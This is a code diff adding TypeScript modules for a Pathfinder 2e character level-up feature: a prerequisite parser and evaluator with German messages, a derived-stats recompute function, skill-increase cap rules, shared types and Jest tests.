'Gnome',
|
||||
'Goblin',
|
||||
'Hobgoblin',
|
||||
'Leshy',
|
||||
'Lizardfolk',
|
||||
'Catfolk',
|
||||
'Kobold',
|
||||
'Orc',
|
||||
'Ratfolk',
|
||||
'Tengu',
|
||||
'Tiefling',
|
||||
'Aasimar',
|
||||
]);
|
||||
|
||||
/** Patterns that mark the entire prereq as non-evaluable (D-02). */
|
||||
const NON_EVALUABLE_PATTERNS: readonly RegExp[] = [
|
||||
/spellcasting\s+class\s+feature/i,
|
||||
/\bspellcaster\b/i,
|
||||
/(divine|arcane|primal|occult)\s+spells?/i,
|
||||
/\bcantrip\b/i,
|
||||
/worship(?:per|s|ing)?\s+of/i,
|
||||
/follower\s+of/i,
|
||||
/\bdeity\b/i,
|
||||
/at\s+least\s+\d+\s+years?\s+old/i,
|
||||
/\bethnicity\b/i,
|
||||
/low-light\s+vision/i,
|
||||
/\bdarkvision\b/i,
|
||||
/\bscent\b/i,
|
||||
];
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// AST types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
type Atom =
|
||||
| { kind: 'skill'; skill: string; required: Proficiency }
|
||||
| { kind: 'heritage'; name: string }
|
||||
| { kind: 'class'; name: string }
|
||||
| { kind: 'ancestry'; name: string }
|
||||
| { kind: 'level'; min: number }
|
||||
| { kind: 'feat'; name: string }
|
||||
| { kind: 'unknown'; raw: string };
|
||||
|
||||
type Node =
|
||||
| { kind: 'atom'; atom: Atom }
|
||||
| { kind: 'and'; children: Node[] }
|
||||
| { kind: 'or'; children: Node[] };
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Parser
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const SKILL_RANK_RE = /^(trained|expert|master|legendary)\s+in\s+(.+)$/i;
|
||||
const HERITAGE_RE = /^(.+?)\s+heritage$/i;
|
||||
const LEVEL_RE = /^level\s+(\d+)$/i;
|
||||
|
||||
function classifyAtom(raw: string): Atom {
|
||||
const trimmed = raw.trim();
|
||||
if (trimmed === '') {
|
||||
return { kind: 'unknown', raw: trimmed };
|
||||
}
|
||||
|
||||
// Skill rank: "Trained in Athletics"
|
||||
const skillMatch = SKILL_RANK_RE.exec(trimmed);
|
||||
if (skillMatch) {
|
||||
const required = skillMatch[1].toUpperCase() as Proficiency;
|
||||
const skillName = skillMatch[2].trim();
|
||||
return { kind: 'skill', skill: skillName, required };
|
||||
}
|
||||
|
||||
// Heritage: "Unbreakable Goblin heritage"
|
||||
const heritageMatch = HERITAGE_RE.exec(trimmed);
|
||||
if (heritageMatch) {
|
||||
return { kind: 'heritage', name: heritageMatch[1].trim() };
|
||||
}
|
||||
|
||||
// Level: "level 5"
|
||||
const levelMatch = LEVEL_RE.exec(trimmed);
|
||||
if (levelMatch) {
|
||||
return { kind: 'level', min: Number.parseInt(levelMatch[1], 10) };
|
||||
}
|
||||
|
||||
// Class ref (exact match against known class names)
|
||||
if (KNOWN_CLASS_NAMES.has(trimmed)) {
|
||||
return { kind: 'class', name: trimmed };
|
||||
}
|
||||
|
||||
// Ancestry ref (exact match against known ancestry names)
|
||||
if (KNOWN_ANCESTRY_NAMES.has(trimmed)) {
|
||||
return { kind: 'ancestry', name: trimmed };
|
||||
}
|
||||
|
||||
// Bare capitalized phrase → feat lookup last-resort.
|
||||
// Real PF2e feat names are short (≤4 words), Title Case, and never contain
|
||||
// lowercase function-words like "you", "a", "the", "of", "and", "to" mid-sentence.
|
||||
// This guards against classifying free-text sentences as feat lookups.
|
||||
if (/^[A-Z][A-Za-z' \-]*$/.test(trimmed)) {
|
||||
const words = trimmed.split(/\s+/);
|
||||
const hasFreeTextMarker = /(?:^| )(you|a|the|of|and|to|with|from|by)(?: |$)/i.test(
|
||||
trimmed,
|
||||
);
|
||||
if (words.length <= 4 && !hasFreeTextMarker) {
|
||||
return { kind: 'feat', name: trimmed };
|
||||
}
|
||||
}
|
||||
|
||||
return { kind: 'unknown', raw: trimmed };
|
||||
}
|
||||
|
||||
/**
|
||||
* Splits a clause on " or " and "," into OR-disjuncts when the clause looks like
|
||||
* a comma-separated list of skill rank atoms (the common PF2e shape).
|
||||
* Otherwise treats commas as soft AND (rare in real corpus).
|
||||
*/
|
||||
function parseClause(clause: string): Node {
|
||||
const trimmed = clause.trim();
|
||||
if (trimmed === '') {
|
||||
return { kind: 'atom', atom: { kind: 'unknown', raw: trimmed } };
|
||||
}
|
||||
|
||||
// Detect OR-list: presence of ' or ' (case-insensitive, with surrounding spaces).
|
||||
// Real PF2e corpus uses "X, Y, or Z" — split on commas AND on ' or '.
|
||||
const hasOrConnector = / or /i.test(trimmed);
|
||||
|
||||
if (hasOrConnector) {
|
||||
// Normalize the Oxford-comma form "X, Y, or Z" by collapsing ", or " → " or "
|
||||
// before splitting. Without this, splitting on /,\s*/ first would leave
|
||||
// a stray leading "or " on the last segment.
|
||||
const normalized = trimmed.replace(/,\s*or\s+/gi, ' or ');
|
||||
const parts = normalized
|
||||
.split(/,\s*|\s+or\s+/i)
|
||||
.map((p) => p.trim())
|
||||
.filter((p) => p.length > 0);
|
||||
if (parts.length === 1) {
|
||||
return { kind: 'atom', atom: classifyAtom(parts[0]) };
|
||||
}
|
||||
const children = parts.map<Node>((p) => ({ kind: 'atom', atom: classifyAtom(p) }));
|
||||
return { kind: 'or', children };
|
||||
}
|
||||
|
||||
// Single atom (no or-connector, no comma — or comma but treat single)
|
||||
if (trimmed.includes(',')) {
|
||||
// Comma without "or" — treat as AND of atoms (soft conjunction).
|
||||
const parts = trimmed
|
||||
.split(/,\s*/)
|
||||
.map((p) => p.trim())
|
||||
.filter((p) => p.length > 0);
|
||||
const children = parts.map<Node>((p) => ({ kind: 'atom', atom: classifyAtom(p) }));
|
||||
return { kind: 'and', children };
|
||||
}
|
||||
|
||||
return { kind: 'atom', atom: classifyAtom(trimmed) };
|
||||
}
|
||||
|
||||
function parsePrereq(input: string): Node {
|
||||
// Top-level split on ';' for AND clauses
|
||||
const clauses = input
|
||||
.split(';')
|
||||
.map((c) => c.trim())
|
||||
.filter((c) => c.length > 0);
|
||||
|
||||
if (clauses.length === 0) {
|
||||
return { kind: 'atom', atom: { kind: 'unknown', raw: input } };
|
||||
}
|
||||
if (clauses.length === 1) {
|
||||
return parseClause(clauses[0]);
|
||||
}
|
||||
return { kind: 'and', children: clauses.map((c) => parseClause(c)) };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Evaluator
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function rankAtLeast(have: Proficiency, need: Proficiency): boolean {
|
||||
return PROFICIENCY_RANK_ORDER.indexOf(have) >= PROFICIENCY_RANK_ORDER.indexOf(need);
|
||||
}
|
||||
|
||||
function rankToGerman(rank: Proficiency): string {
|
||||
// German proficiency labels — keep canonical English ranks but quote them as identifiers.
|
||||
const label: Record<Proficiency, string> = {
|
||||
UNTRAINED: 'Untrained',
|
||||
TRAINED: 'Trained',
|
||||
EXPERT: 'Expert',
|
||||
MASTER: 'Master',
|
||||
LEGENDARY: 'Legendary',
|
||||
};
|
||||
return label[rank];
|
||||
}
|
||||
|
||||
type AtomResult =
|
||||
| { ok: true }
|
||||
| { ok: false; reason: string }
|
||||
| { unknown: true; raw: string };
|
||||
|
||||
function evaluateAtom(atom: Atom, ctx: CharacterContext): AtomResult {
|
||||
switch (atom.kind) {
|
||||
case 'unknown':
|
||||
return { unknown: true, raw: atom.raw };
|
||||
case 'skill': {
|
||||
const have = ctx.skills[atom.skill] ?? 'UNTRAINED';
|
||||
if (rankAtLeast(have, atom.required)) return { ok: true };
|
||||
return {
|
||||
ok: false,
|
||||
reason: `Du benötigst mindestens '${rankToGerman(atom.required)}' in ${atom.skill}`,
|
||||
};
|
||||
}
|
||||
case 'heritage':
|
||||
if (ctx.heritageName === atom.name) return { ok: true };
|
||||
return {
|
||||
ok: false,
|
||||
reason: `Voraussetzung nicht erfüllt: Abstammungsmerkmal '${atom.name}'`,
|
||||
};
|
||||
case 'class':
|
||||
if (ctx.className === atom.name) return { ok: true };
|
||||
return {
|
||||
ok: false,
|
||||
reason: `Voraussetzung nicht erfüllt: Klasse '${atom.name}'`,
|
||||
};
|
||||
case 'ancestry':
|
||||
if (ctx.ancestryName === atom.name) return { ok: true };
|
||||
return {
|
||||
ok: false,
|
||||
reason: `Voraussetzung nicht erfüllt: Volk '${atom.name}'`,
|
||||
};
|
||||
case 'level':
|
||||
if (ctx.level >= atom.min) return { ok: true };
|
||||
return {
|
||||
ok: false,
|
||||
reason: `Du benötigst mindestens Stufe ${atom.min}`,
|
||||
};
|
||||
case 'feat':
|
||||
if (ctx.feats.has(atom.name)) return { ok: true };
|
||||
return {
|
||||
ok: false,
|
||||
reason: `Dir fehlt das Talent: ${atom.name}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
type NodeResult =
|
||||
| { ok: true }
|
||||
| { ok: false; reason: string }
|
||||
| { unknown: true; raw: string };
|
||||
|
||||
function isUnknown(r: NodeResult): r is { unknown: true; raw: string } {
|
||||
return 'unknown' in r;
|
||||
}
|
||||
|
||||
function isOk(r: NodeResult): r is { ok: true } {
|
||||
return 'ok' in r && r.ok === true;
|
||||
}
|
||||
|
||||
function isFail(r: NodeResult): r is { ok: false; reason: string } {
|
||||
return 'ok' in r && r.ok === false;
|
||||
}
|
||||
|
||||
function evaluateNode(node: Node, ctx: CharacterContext, raw: string): NodeResult {
|
||||
if (node.kind === 'atom') {
|
||||
return evaluateAtom(node.atom, ctx);
|
||||
}
|
||||
|
||||
if (node.kind === 'or') {
|
||||
let firstFailReason: string | null = null;
|
||||
for (const child of node.children) {
|
||||
const r = evaluateNode(child, ctx, raw);
|
||||
if (isUnknown(r)) {
|
||||
// UNKNOWN-aggressive: any unknown atom poisons the whole prereq.
|
||||
return { unknown: true, raw };
|
||||
}
|
||||
if (isOk(r)) return { ok: true };
|
||||
if (firstFailReason === null && isFail(r)) {
|
||||
firstFailReason = r.reason;
|
||||
}
|
||||
}
|
||||
return {
|
||||
ok: false,
|
||||
reason: firstFailReason ?? `Voraussetzung nicht erfüllt: ${raw}`,
|
||||
};
|
||||
}
|
||||
|
||||
// AND
|
||||
for (const child of node.children) {
|
||||
const r = evaluateNode(child, ctx, raw);
|
||||
if (isUnknown(r)) {
|
||||
return { unknown: true, raw };
|
||||
}
|
||||
if (isFail(r)) return r;
|
||||
}
|
||||
return { ok: true };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Public API
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Evaluate a PF2e prerequisite string against a character context.
|
||||
* Returns one of:
|
||||
* - { ok: true } — prereq is met (or empty/null)
|
||||
* - { ok: false, reason } — evaluable AND failed (German reason)
|
||||
* - { unknown: true, raw } — non-evaluable (deity, spellcasting, etc.)
|
||||
*/
|
||||
export function evaluatePrereq(
|
||||
prereqString: string | null,
|
||||
ctx: CharacterContext,
|
||||
): EvalResult {
|
||||
if (prereqString === null) return { ok: true };
|
||||
const trimmed = prereqString.trim();
|
||||
if (trimmed === '') return { ok: true };
|
||||
|
||||
// Quick reject — if any non-evaluable pattern matches anywhere, return unknown.
|
||||
if (NON_EVALUABLE_PATTERNS.some((rx) => rx.test(trimmed))) {
|
||||
return { unknown: true, raw: trimmed };
|
||||
}
|
||||
|
||||
const tree = parsePrereq(trimmed);
|
||||
return evaluateNode(tree, ctx, trimmed);
|
||||
}
|
||||
|
||||
/** Internal parser exposed for testing/debugging. */
|
||||
export { parsePrereq };
|
||||
@@ -0,0 +1,89 @@
|
||||
import { recomputeDerivedStats } from './recompute-derived-stats';
|
||||
import type { CharacterContext, ClassProgressionRow, WizardChoices, Proficiency } from './types';
|
||||
|
||||
type RecomputeInput = CharacterContext & {
|
||||
ancestryHp: number;
|
||||
classHp: number;
|
||||
armorAc: number;
|
||||
armorProficiency: Proficiency;
|
||||
dexCap: number;
|
||||
};
|
||||
|
||||
function baseCharacter(overrides: Partial<RecomputeInput> = {}): RecomputeInput {
|
||||
return {
|
||||
level: 4,
|
||||
className: 'Fighter',
|
||||
ancestryName: 'Human',
|
||||
heritageName: undefined,
|
||||
abilities: { STR: 18, DEX: 14, CON: 16, INT: 10, WIS: 12, CHA: 10 },
|
||||
skills: {},
|
||||
feats: new Set(),
|
||||
ancestryHp: 8,
|
||||
classHp: 10,
|
||||
armorAc: 4,
|
||||
armorProficiency: 'EXPERT',
|
||||
dexCap: 2,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function emptyProgression(level: number): ClassProgressionRow {
|
||||
return {
|
||||
className: 'Fighter',
|
||||
level,
|
||||
grants: [],
|
||||
proficiencyChanges: {},
|
||||
};
|
||||
}
|
||||
|
||||
describe('recomputeDerivedStats — hpMax', () => {
|
||||
it('computes hpMax = ancestryHP + (classHP + conMod) × newLevel for L4 → L5 Fighter, CON 16', () => {
|
||||
// CON 16 → mod +3; classHP 10 + 3 = 13 per level; ancestryHP 8; L5: 8 + 13×5 = 73
|
||||
const ch = baseCharacter();
|
||||
const choices: WizardChoices = {};
|
||||
const result = recomputeDerivedStats(ch, choices, emptyProgression(5));
|
||||
expect(result.hpMax).toBe(73);
|
||||
});
|
||||
|
||||
it('respects boost-cap-at-18 when CON is boosted from 18', () => {
|
||||
// CON starts at 18, boost target includes CON → new CON = 19 (not 20). conMod = +4.
|
||||
// L5: 8 + (10+4)×5 = 78
|
||||
const ch = baseCharacter({
|
||||
abilities: { STR: 16, DEX: 14, CON: 18, INT: 10, WIS: 12, CHA: 10 },
|
||||
});
|
||||
const choices: WizardChoices = { boostTargets: ['CON', 'STR', 'DEX', 'INT'] };
|
||||
const result = recomputeDerivedStats(ch, choices, emptyProgression(5));
|
||||
expect(result.hpMax).toBe(78);
|
||||
});
|
||||
});
|
||||
|
||||
describe('recomputeDerivedStats — proficiencyChanges from ClassProgression', () => {
|
||||
it('applies proficiencyChanges from ClassProgression at the new level (fortitude EXPERT)', () => {
|
||||
// Fighter L4 → L5 with progression bumping fort to EXPERT.
|
||||
// CON mod +3, level 5; fort = conMod + (level + 4) = 3 + 9 = 12
|
||||
const ch = baseCharacter();
|
||||
const progression: ClassProgressionRow = {
|
||||
...emptyProgression(5),
|
||||
proficiencyChanges: { fortitude: 'EXPERT' },
|
||||
};
|
||||
const result = recomputeDerivedStats(ch, {}, progression);
|
||||
expect(result.fortitude).toBe(12);
|
||||
});
|
||||
});
|
||||
|
||||
describe('recomputeDerivedStats — Pitfall #9 (hpCurrent must not be in output)', () => {
|
||||
it('does NOT include hpCurrent in the result object', () => {
|
||||
const ch = baseCharacter();
|
||||
const result = recomputeDerivedStats(ch, {}, emptyProgression(5));
|
||||
expect(result).not.toHaveProperty('hpCurrent');
|
||||
expect(result).not.toHaveProperty('hpTemp');
|
||||
});
|
||||
});
|
||||
|
||||
describe('recomputeDerivedStats — level passthrough', () => {
|
||||
it('returns the new level in the output', () => {
|
||||
const ch = baseCharacter();
|
||||
const result = recomputeDerivedStats(ch, {}, emptyProgression(5));
|
||||
expect(result.level).toBe(5);
|
||||
});
|
||||
});
|
||||
122
server/src/modules/leveling/lib/recompute-derived-stats.ts
Normal file
122
server/src/modules/leveling/lib/recompute-derived-stats.ts
Normal file
@@ -0,0 +1,122 @@
|
||||
/**
|
||||
* Pure-function recompute pipeline (Pattern 5, Pitfall #8 & #9).
|
||||
*
|
||||
* Computes the new derived stats (hpMax, AC, classDC, perception, saves) for a
|
||||
* level-up. Pure: no DB writes, no I/O, no mutations of input objects.
|
||||
*
|
||||
* Pitfall #8 (boost-cap-at-18): ability boosts use applyAttributeBoost() which
|
||||
* adds +1 (not +2) when the score is already >= 18.
|
||||
* Pitfall #9 (current-HP invariant): the output `DerivedStats` shape NEVER includes
|
||||
* current/temporary HP fields — those are managed elsewhere by the level-up commit,
|
||||
* not recomputed from scratch.
|
||||
*/
|
||||
import { applyAttributeBoost } from './apply-attribute-boost';
|
||||
import type {
|
||||
AbilityAbbreviation,
|
||||
CharacterContext,
|
||||
ClassProgressionRow,
|
||||
DerivedStats,
|
||||
Proficiency,
|
||||
WizardChoices,
|
||||
} from './types';
|
||||
import { PROFICIENCY_BASE_BONUS } from './types';
|
||||
|
||||
/** Recompute pipeline input — extends CharacterContext with armor + HP-base fields. */
|
||||
export type RecomputeCharacter = CharacterContext & {
|
||||
ancestryHp: number;
|
||||
classHp: number;
|
||||
armorAc: number;
|
||||
armorProficiency: Proficiency;
|
||||
dexCap: number;
|
||||
/** Optional pre-existing rank for fortitude/reflex/will/perception/classDc — used as fallback. */
|
||||
fortitudeRank?: Proficiency;
|
||||
reflexRank?: Proficiency;
|
||||
willRank?: Proficiency;
|
||||
perceptionRank?: Proficiency;
|
||||
classDcRank?: Proficiency;
|
||||
/** Class key ability — defaults to STR for Fighter; consumers may pass explicit value. */
|
||||
classKeyAbility?: AbilityAbbreviation;
|
||||
};
|
||||
|
||||
function abilityModifier(score: number): number {
|
||||
return Math.floor((score - 10) / 2);
|
||||
}
|
||||
|
||||
function proficiencyBonus(rank: Proficiency, level: number): number {
|
||||
if (rank === 'UNTRAINED') return 0;
|
||||
return PROFICIENCY_BASE_BONUS[rank] + level;
|
||||
}
|
||||
|
||||
/** Compute new ability scores by applying boosts from `choices.boostTargets`. */
|
||||
function applyBoosts(
|
||||
current: Record<AbilityAbbreviation, number>,
|
||||
boostTargets: readonly AbilityAbbreviation[] | undefined,
|
||||
): Record<AbilityAbbreviation, number> {
|
||||
const next: Record<AbilityAbbreviation, number> = { ...current };
|
||||
if (!boostTargets) return next;
|
||||
for (const ability of boostTargets) {
|
||||
next[ability] = applyAttributeBoost(next[ability]);
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
/**
|
||||
* Pure recompute pipeline.
|
||||
*
|
||||
* @param character - Character snapshot (current state, before commit)
|
||||
* @param choices - Wizard choices (boost targets, etc.)
|
||||
* @param progression - ClassProgression row for the new level
|
||||
* @returns DerivedStats — fresh object, never mutates input
|
||||
*/
|
||||
export function recomputeDerivedStats(
|
||||
character: RecomputeCharacter,
|
||||
choices: WizardChoices,
|
||||
progression: ClassProgressionRow,
|
||||
): DerivedStats {
|
||||
const newLevel = progression.level;
|
||||
const newAbilities = applyBoosts(character.abilities, choices.boostTargets);
|
||||
|
||||
const conMod = abilityModifier(newAbilities.CON);
|
||||
const dexMod = abilityModifier(newAbilities.DEX);
|
||||
const wisMod = abilityModifier(newAbilities.WIS);
|
||||
const keyAbility = character.classKeyAbility ?? 'STR';
|
||||
const keyMod = abilityModifier(newAbilities[keyAbility]);
|
||||
|
||||
// Resolve effective ranks: progression overrides take precedence; otherwise use
|
||||
// the input character's pre-existing rank (or sensible defaults of TRAINED).
|
||||
const fortRank: Proficiency =
|
||||
progression.proficiencyChanges.fortitude ?? character.fortitudeRank ?? 'TRAINED';
|
||||
const refRank: Proficiency =
|
||||
progression.proficiencyChanges.reflex ?? character.reflexRank ?? 'TRAINED';
|
||||
const willRank: Proficiency =
|
||||
progression.proficiencyChanges.will ?? character.willRank ?? 'TRAINED';
|
||||
const percRank: Proficiency =
|
||||
progression.proficiencyChanges.perception ?? character.perceptionRank ?? 'TRAINED';
|
||||
const classDcRank: Proficiency =
|
||||
progression.proficiencyChanges.classDc ?? character.classDcRank ?? 'TRAINED';
|
||||
const armorRank: Proficiency =
|
||||
progression.proficiencyChanges.ac ?? character.armorProficiency;
|
||||
|
||||
const hpMax = character.ancestryHp + (character.classHp + conMod) * newLevel;
|
||||
const ac =
|
||||
10 +
|
||||
Math.min(dexMod, character.dexCap) +
|
||||
character.armorAc +
|
||||
proficiencyBonus(armorRank, newLevel);
|
||||
const classDc = 10 + keyMod + proficiencyBonus(classDcRank, newLevel);
|
||||
const perception = wisMod + proficiencyBonus(percRank, newLevel);
|
||||
const fortitude = conMod + proficiencyBonus(fortRank, newLevel);
|
||||
const reflex = dexMod + proficiencyBonus(refRank, newLevel);
|
||||
const will = wisMod + proficiencyBonus(willRank, newLevel);
|
||||
|
||||
return {
|
||||
level: newLevel,
|
||||
hpMax,
|
||||
ac,
|
||||
classDc,
|
||||
perception,
|
||||
fortitude,
|
||||
reflex,
|
||||
will,
|
||||
};
|
||||
}
|
||||
42
server/src/modules/leveling/lib/skill-increase-cap.spec.ts
Normal file
42
server/src/modules/leveling/lib/skill-increase-cap.spec.ts
Normal file
@@ -0,0 +1,42 @@
|
||||
import { canIncreaseSkill, SKILL_INCREASE_LEVELS } from './skill-increase-cap';
|
||||
|
||||
describe('canIncreaseSkill', () => {
|
||||
it('rejects TRAINED → EXPERT at level 2 (T→E requires L3+)', () => {
|
||||
expect(canIncreaseSkill('TRAINED', 2)).toBe(false);
|
||||
});
|
||||
|
||||
it('allows TRAINED → EXPERT at level 3', () => {
|
||||
expect(canIncreaseSkill('TRAINED', 3)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects EXPERT → MASTER at level 6 (E→M requires L7+)', () => {
|
||||
expect(canIncreaseSkill('EXPERT', 6)).toBe(false);
|
||||
});
|
||||
|
||||
it('allows EXPERT → MASTER at level 7', () => {
|
||||
expect(canIncreaseSkill('EXPERT', 7)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects MASTER → LEGENDARY at level 14 (M→L requires L15+)', () => {
|
||||
expect(canIncreaseSkill('MASTER', 14)).toBe(false);
|
||||
});
|
||||
|
||||
it('allows MASTER → LEGENDARY at level 15', () => {
|
||||
expect(canIncreaseSkill('MASTER', 15)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects LEGENDARY at any level (already maxed)', () => {
|
||||
expect(canIncreaseSkill('LEGENDARY', 20)).toBe(false);
|
||||
});
|
||||
|
||||
it('allows UNTRAINED → TRAINED at any level >= 1 (no cap on first training)', () => {
|
||||
expect(canIncreaseSkill('UNTRAINED', 1)).toBe(true);
|
||||
expect(canIncreaseSkill('UNTRAINED', 20)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('SKILL_INCREASE_LEVELS', () => {
|
||||
it('exposes the PF2e skill-increase level list', () => {
|
||||
expect(SKILL_INCREASE_LEVELS).toEqual([3, 5, 7, 9, 11, 13, 15, 17, 19]);
|
||||
});
|
||||
});
|
||||
31
server/src/modules/leveling/lib/skill-increase-cap.ts
Normal file
31
server/src/modules/leveling/lib/skill-increase-cap.ts
Normal file
@@ -0,0 +1,31 @@
|
||||
import type { Proficiency } from './types';
|
||||
|
||||
/** Levels at which a skill-increase step occurs (PF2e CRB). */
|
||||
export const SKILL_INCREASE_LEVELS: readonly number[] = [3, 5, 7, 9, 11, 13, 15, 17, 19];
|
||||
|
||||
/**
|
||||
* Minimum character level required to advance a skill from `currentRank`.
|
||||
* UNTRAINED → TRAINED is unrestricted (any level >= 1 with a skill-increase step).
|
||||
* LEGENDARY is `null` because it is the maximum rank — no further increases possible.
|
||||
*/
|
||||
const SKILL_RANK_LEVEL_REQUIREMENTS: Record<Proficiency, number | null> = {
|
||||
UNTRAINED: 1, // → TRAINED
|
||||
TRAINED: 3, // → EXPERT (PF2e CRB)
|
||||
EXPERT: 7, // → MASTER
|
||||
MASTER: 15, // → LEGENDARY
|
||||
LEGENDARY: null, // already maxed
|
||||
};
|
||||
|
||||
/**
|
||||
* PF2e skill-increase cap rule (LVL-06).
|
||||
* Returns true if a character at `characterLevel` may advance a skill that is
|
||||
* currently at `currentRank` to the next rank.
|
||||
*/
|
||||
export function canIncreaseSkill(
|
||||
currentRank: Proficiency,
|
||||
characterLevel: number,
|
||||
): boolean {
|
||||
const required = SKILL_RANK_LEVEL_REQUIREMENTS[currentRank];
|
||||
if (required === null) return false;
|
||||
return characterLevel >= required;
|
||||
}
|
||||
88
server/src/modules/leveling/lib/types.ts
Normal file
88
server/src/modules/leveling/lib/types.ts
Normal file
@@ -0,0 +1,88 @@
|
||||
/**
|
||||
* Shared types for the Level-Up pure-function library.
|
||||
* No runtime dependencies — types only.
|
||||
*/
|
||||
import type { AbilityAbbreviation } from './apply-attribute-boost';
|
||||
|
||||
export type { AbilityAbbreviation };
|
||||
|
||||
/** PF2e proficiency ranks (mirrors Prisma `Proficiency` enum). */
|
||||
export type Proficiency = 'UNTRAINED' | 'TRAINED' | 'EXPERT' | 'MASTER' | 'LEGENDARY';
|
||||
|
||||
/** Numeric proficiency bonus per rank, for use in proficiencyBonus(rank, level) calculation. */
|
||||
export const PROFICIENCY_BASE_BONUS: Record<Proficiency, number> = {
|
||||
UNTRAINED: 0,
|
||||
TRAINED: 2,
|
||||
EXPERT: 4,
|
||||
MASTER: 6,
|
||||
LEGENDARY: 8,
|
||||
};
|
||||
|
||||
/** Discriminated union for prereq evaluation result. */
|
||||
export type EvalResult =
|
||||
| { ok: true }
|
||||
| { ok: false; reason: string }
|
||||
| { unknown: true; raw: string };
|
||||
|
||||
/** Ordered union of wizard step kinds (UI-SPEC + RESEARCH §Pattern 1). */
|
||||
export type StepKind =
|
||||
| 'class-features'
|
||||
| 'class-feature-choice'
|
||||
| 'boost'
|
||||
| 'skill-increase'
|
||||
| 'feat-class'
|
||||
| 'feat-skill'
|
||||
| 'feat-general'
|
||||
| 'feat-ancestry'
|
||||
| 'feat-archetype'
|
||||
| 'spellcaster'
|
||||
| 'review';
|
||||
|
||||
/** Snapshot a character's mechanical state for prereq evaluation and recompute. */
|
||||
export interface CharacterContext {
|
||||
level: number;
|
||||
className: string;
|
||||
ancestryName: string;
|
||||
heritageName?: string;
|
||||
abilities: Record<AbilityAbbreviation, number>;
|
||||
skills: Record<string, Proficiency>;
|
||||
feats: Set<string>;
|
||||
}
|
||||
|
||||
/** Output of recomputeDerivedStats — never includes hpCurrent (Pitfall #9). */
|
||||
export interface DerivedStats {
|
||||
level: number;
|
||||
hpMax: number;
|
||||
ac: number;
|
||||
classDc: number;
|
||||
perception: number;
|
||||
fortitude: number;
|
||||
reflex: number;
|
||||
will: number;
|
||||
}
|
||||
|
||||
/** ClassProgression row shape — read-only input to recompute pipeline. */
|
||||
export interface ClassProgressionRow {
|
||||
className: string;
|
||||
level: number;
|
||||
grants: string[];
|
||||
proficiencyChanges: Partial<Record<'fortitude' | 'reflex' | 'will' | 'perception' | 'classDc' | 'ac', Proficiency>>;
|
||||
spellSlotIncrement?: { tradition: string; spellLevel: number; count: number } | null;
|
||||
cantripIncrement?: number | null;
|
||||
repertoireIncrement?: number | null;
|
||||
choiceType?: string | null;
|
||||
choiceOptionsRef?: string | null;
|
||||
}
|
||||
|
||||
/** Wizard choices subset — what the user picked across the wizard. */
|
||||
export interface WizardChoices {
|
||||
boostTargets?: AbilityAbbreviation[];
|
||||
skillIncrease?: { skillName: string; toRank: Proficiency };
|
||||
featClassId?: string;
|
||||
featSkillId?: string;
|
||||
featGeneralId?: string;
|
||||
featAncestryId?: string;
|
||||
featArchetypeId?: string;
|
||||
classFeatureChoices?: Record<string, string>;
|
||||
spellcasterRepertoirePicks?: string[];
|
||||
}
|
||||
@@ -21,5 +21,10 @@
|
||||
"noImplicitAny": false,
|
||||
"strictBindCallApply": false,
|
||||
"noFallthroughCasesInSwitch": false
|
||||
}
|
||||
},
|
||||
"exclude": [
|
||||
"node_modules",
|
||||
"dist",
|
||||
"prisma/data/foundry-pf2e"
|
||||
]
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user